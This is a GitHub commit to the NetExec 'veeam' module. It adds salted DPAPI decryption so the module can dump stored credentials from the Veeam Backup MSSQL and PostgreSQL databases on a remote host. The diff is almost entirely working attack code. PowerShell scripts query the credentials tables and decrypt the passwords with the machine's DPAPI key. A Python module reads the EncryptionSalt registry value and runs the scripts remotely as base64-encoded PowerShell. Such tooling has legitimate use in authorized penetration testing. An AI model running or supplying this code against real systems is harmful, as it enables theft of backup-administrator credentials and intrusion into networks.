Skip to content

Commit 18f7033

Browse files
committed
Add salted dpapi decryption for latest veeam installations
1 parent c2f85db commit 18f7033

3 files changed

Lines changed: 82 additions & 15 deletions

File tree

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

Lines changed: 29 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
22
$SqlServerName = "REPLACE_ME_SqlServer"
33
$SqlInstanceName = "REPLACE_ME_SqlInstance"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

56
#Forming the connection string
67
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
@@ -29,12 +30,37 @@ if ($rows.count -eq 0) {
2930
}
3031

3132
Add-Type -assembly System.Security
32-
#Decrypting passwords using DPAPI
33+
# Decrypting passwords using DPAPI
3334
$rows | ForEach-Object -Process {
3435
$EnryptedPWD = [Convert]::FromBase64String($_.password)
35-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
3636
$enc = [system.text.encoding]::Default
37-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
37+
38+
try {
39+
# Decrypt password with DPAPI (old Veeam versions)
40+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
41+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
42+
} catch {
43+
try{
44+
# Decrypt password with salted DPAPI (new Veeam versions)
45+
$salt = [System.Convert]::FromBase64String($b64Salt)
46+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2)
47+
foreach ($byte in $EnryptedPWD)
48+
{
49+
$hex.AppendFormat("{0:x2}", $byte) > $null
50+
}
51+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
52+
$EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
53+
for ($i = 0; $i -lt $hex.Length; $i += 2)
54+
{
55+
$EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
56+
}
57+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
58+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
59+
}catch {
60+
$pw_string = "COULD_NOT_DECRYPT"
61+
}
62+
}
63+
$_.password = $pw_string
3864
}
3965

4066
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Lines changed: 31 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,48 @@
11
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
22
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
33
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

5-
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
6+
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
67
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
78

89
if ($output.count -eq 0) {
910
Write-Host "No passwords found!"
1011
exit
1112
}
1213

14+
# Decrypting passwords using DPAPI
1315
Add-Type -assembly System.Security
14-
#Decrypting passwords using DPAPI
1516
$output | ForEach-Object -Process {
16-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
17-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
17+
$EnryptedPWD = [Convert]::FromBase64String($_.password)
1818
$enc = [system.text.encoding]::Default
19-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
19+
20+
try {
21+
# Decrypt password with DPAPI (old Veeam versions)
22+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
23+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
24+
} catch {
25+
try{
26+
# Decrypt password with salted DPAPI (new Veeam versions)
27+
$salt = [System.Convert]::FromBase64String($b64Salt)
28+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2)
29+
foreach ($byte in $EnryptedPWD)
30+
{
31+
$hex.AppendFormat("{0:x2}", $byte) > $null
32+
}
33+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
34+
$EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
35+
for ($i = 0; $i -lt $hex.Length; $i += 2)
36+
{
37+
$EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
38+
}
39+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
40+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
41+
}catch {
42+
$pw_string = "COULD_NOT_DECRYPT"
43+
}
44+
}
45+
$_.password = $pw_string
2046
}
2147

2248
Write-Output $output | Format-Table -HideTableHeaders | Out-String

nxc/modules/veeam.py

Lines changed: 22 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,9 @@ def checkVeeamInstalled(self, context, connection):
4040
PostgresUserForWindowsAuth = ""
4141
SqlDatabaseName = ""
4242

43+
# Salt for newer Veeam versions
44+
salt = ""
45+
4346
try:
4447
remoteOps = RemoteOperations(connection.conn, False)
4548
remoteOps.enableRegistry()
@@ -72,6 +75,8 @@ def checkVeeamInstalled(self, context, connection):
7275
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
7376
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
7477
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
78+
79+
salt = self.get_salt(context, remoteOps, regHandle)
7580
except DCERPCException as e:
7681
if str(e).find("ERROR_FILE_NOT_FOUND"):
7782
context.log.debug("No Veeam v12 installation found")
@@ -107,36 +112,46 @@ def checkVeeamInstalled(self, context, connection):
107112
# Check if we found an SQL Server of some kind
108113
if SqlDatabase and SqlInstance and SqlServer:
109114
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
110-
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
115+
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
111116
self.printCreds(context, credentials)
112117
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
113118
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
114-
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
119+
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
115120
self.printCreds(context, credentials)
116121

117-
def stripXmlOutput(self, context, output):
118-
return output.split("CLIXML")[1].split("<Objs Version")[0]
122+
def get_salt(self, context, remoteOps, regHandle):
123+
try:
124+
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
125+
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
126+
except DCERPCException as e:
127+
if str(e).find("ERROR_FILE_NOT_FOUND"):
128+
context.log.debug("No Salt found")
129+
except Exception as e:
130+
context.log.fail(f"UNEXPECTED ERROR: {e}")
131+
context.log.debug(traceback.format_exc())
119132

120-
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
133+
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
121134
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
122135
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
123136
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
137+
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
124138
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
125139

126140
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
127141

128-
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
142+
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
129143
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
130144
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
131145
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
146+
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
132147
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
133148

134149
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
135150

136151
def printCreds(self, context, output):
137152
# Format output if returned in some XML Format
138153
if "CLIXML" in output:
139-
output = self.stripXmlOutput(context, output)
154+
output = output.split("CLIXML")[1].split("<Objs Version")[0]
140155

141156
if "Access denied" in output:
142157
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")

0 commit comments

Comments
 (0)